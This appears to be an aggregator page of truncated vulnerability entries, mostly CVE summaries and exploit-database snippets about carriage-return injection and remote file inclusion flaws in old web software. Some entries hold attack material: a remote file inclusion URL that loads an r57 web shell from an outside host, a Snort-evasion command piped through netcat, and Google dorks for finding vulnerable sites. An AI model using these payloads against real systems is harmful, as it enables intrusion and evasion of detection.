CVE-2007-2232: Undefined Security Weakness

The CHECK command in Cosign 2.0.1 and earlier allows remote attackers to bypass authentication requirements via CR \r sequences in the cosign cookie parameter...

CVE-2007-2233: Undefined Security Weakness

cosign-bin/cosign.cgi in Cosign 2.0.2 and earlier allows remote authenticated users to perform unauthorized actions as an arbitrary user by using CR \r sequences in the service parameter to inject LOGIN and REGISTER commands with the desired username...

Joomla/Mambo Jambook v1.0 beta7 Rfi Vuln.

BY Cr@zyKing [email protected] Thanks : CrackersChild & Liz0zim & Eno7 & Th3B3k1R & Erne & Uyuss & ApAc & Thehacker & RmX Special Thanks : Xoron & Ajannn & Str0ke & NukedX Script Name : Jambook Version : v1.0 beta7 Download...

B2evolution 1.6 RFi

Script Name : B2evolution 1.6 Download : http://scripts.ringsworld.com/blog/b2evolution-1.6-2005-11-25.zip Coded by : KaRTaL Contact msn : k4rtalatgmaildotcom reguire : require dirnameFILE.'/'.$coresubdir.'blogmain.inc.php' ; exploit :...

Maian Gallery v1.0

Script Name : Maian Gallery v1.0 Download : http://www.maianscriptworld.co.uk/freestuff1975gallery.html Coded by : KaRTaL Contact : k4rtalatgmaildot.com Include : include$pathtofolder.'lib/Savant2.php'; Exploit : index.php?pathtofolder=http://sheladresin.com/r57.txt?cmd=id Special Thankxz : D3ngs...

AdMentor Script Remote SQL injection Exploit

===============================================================================================Script Name: AdMentor admin SQLinjection Coded by : Cr@zyKing Author : Cr@zyKing Contact : [email protected] Dork : inurl:"admentor/admin" Dork Ex. : http://www.google.com.tr/search?hl=tr...

nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability

No description provided by source. By Cr@zyKing [email protected] Thakns : ApAci & Erne & Uyussman & Eno7 & Thehacker & CrackersChild & Liz0zim Script : nabopoll 1.x Risk : Remote File .nclude | High Site : http://nabocorp.com/ Google Dork : inurl:"nabopoll/" Exploit :...

myPHPCalendar 10192000b (cal_dir) Remote File Include Vulnerabilities

No description provided by source. script name : myPHPCalendar Script Downloads : http://freshmeat.net/projects/myphpcalendar/ Web Site : http://myphpcalendar.sourceforge.net/ Version : 10.1 Risk : High Found By : Cr@zyKing Thanks : | eTNR | ApAci | Eno7 | TheHacker | Kormali46 | TheBekir |...

myPHPCalendar 10192000b - cal_dir Remote File Inclusion

myPHPCalendar 10192000b - caldir Remote File Inclusion script name : myPHPCalendar Script Downloads : http://freshmeat.net/projects/myphpcalendar/ Web Site : http://myphpcalendar.sourceforge.net/ Version : 10.1 Risk : High Found By : Cr@zyKing Thanks : | eTNR | ApAci | Eno7 | TheHacker | Kormali4...

myPHPCalendar 10192000b - 'cal_dir' Remote File Inclusion

script name : myPHPCalendar Script Downloads : http://freshmeat.net/projects/myphpcalendar/ Web Site : http://myphpcalendar.sourceforge.net/ Version : 10.1 Risk : High Found By : Cr@zyKing Thanks : | eTNR | ApAci | Eno7 | TheHacker | Kormali46 | TheBekir | Metallicali | Liz0zim | ERNE | SwatHack ...

SQL injection Seir Anphin v666 Community Management System

CR Advisory1 programm: Seir Anphin v666 Community Management System bug: SQL injection home page: www.comeplaydying.com bug found: 27.07.2006 discovered by CR www.svt.nukleon.us ! Details ! ============================================================================================ index.php...

SNORT HTTP request rules bypass

It's possible to traverse all HTTP rules by using CR 'r' as a space characters in requests...

New Snort Bypass - Patch - Bypass of Patch

There was a Snort evasion bug posted on BugTraq today http://www.securityfocus.com/archive/1/435600/30/0/threaded This attack will not show up in alert file at all perl -e 'print "GET x90x90x0d http/1.0rnrn"'|nc 192.168.1.3 80 Notice the x0d CR character r above. The following will show up in ale...

CVE-2005-0174

Squid 2.5 up to 2.5.STABLE7 allows remote attackers to poison the cache or conduct certain attacks via headers that do not follow the HTTP specification, including 1 multiple Content-Length headers, 2 carriage return CR characters that are not part of a CRLF pair, and 3 header names containing...

WordPress 'wp-login.php' HTTP Response Splitting

According to its banner, the remote version of WordPress is vulnerable to an HTTP-splitting attack wherein an attacker can insert CR LF characters and then entice an unsuspecting user into accessing the URL. The client will parse and possibly act on the secondary header which was supplied by the...

CVE-2003-0336: Undefined Security Weakness

Qualcomm Eudora 5.2.1 allows remote attackers to read arbitrary files via an email message with a carriage return CR character in a spoofed "Attachment Converted:" string, which is not properly handled by Eudora...

Qualcomm Eudora 5.2.1/6.0 - File Attachment Spoofing Variant

source: https://www.securityfocus.com/bid/7653/info Eudora is reported to be prone to an issue which may allow attackers to spoof the file extension in an attachment. This may aid an attacker in enticing a user of the e-mail client into executing malicious content. It is possible to refer to othe...

CVE-2002-0490

Instant Web Mail before 0.60 does not properly filter CR/LF sequences, which allows remote attackers to 1 execute arbitrary POP commands via the id parameter in message.php, or 2 modify certain mail message headers via numerous parameters in write.php...

CVE-2002-0490: Undefined Security Weakness

Instant Web Mail before 0.60 does not properly filter CR/LF sequences, which allows remote attackers to 1 execute arbitrary POP commands via the id parameter in message.php, or 2 modify certain mail message headers via numerous parameters in write.php...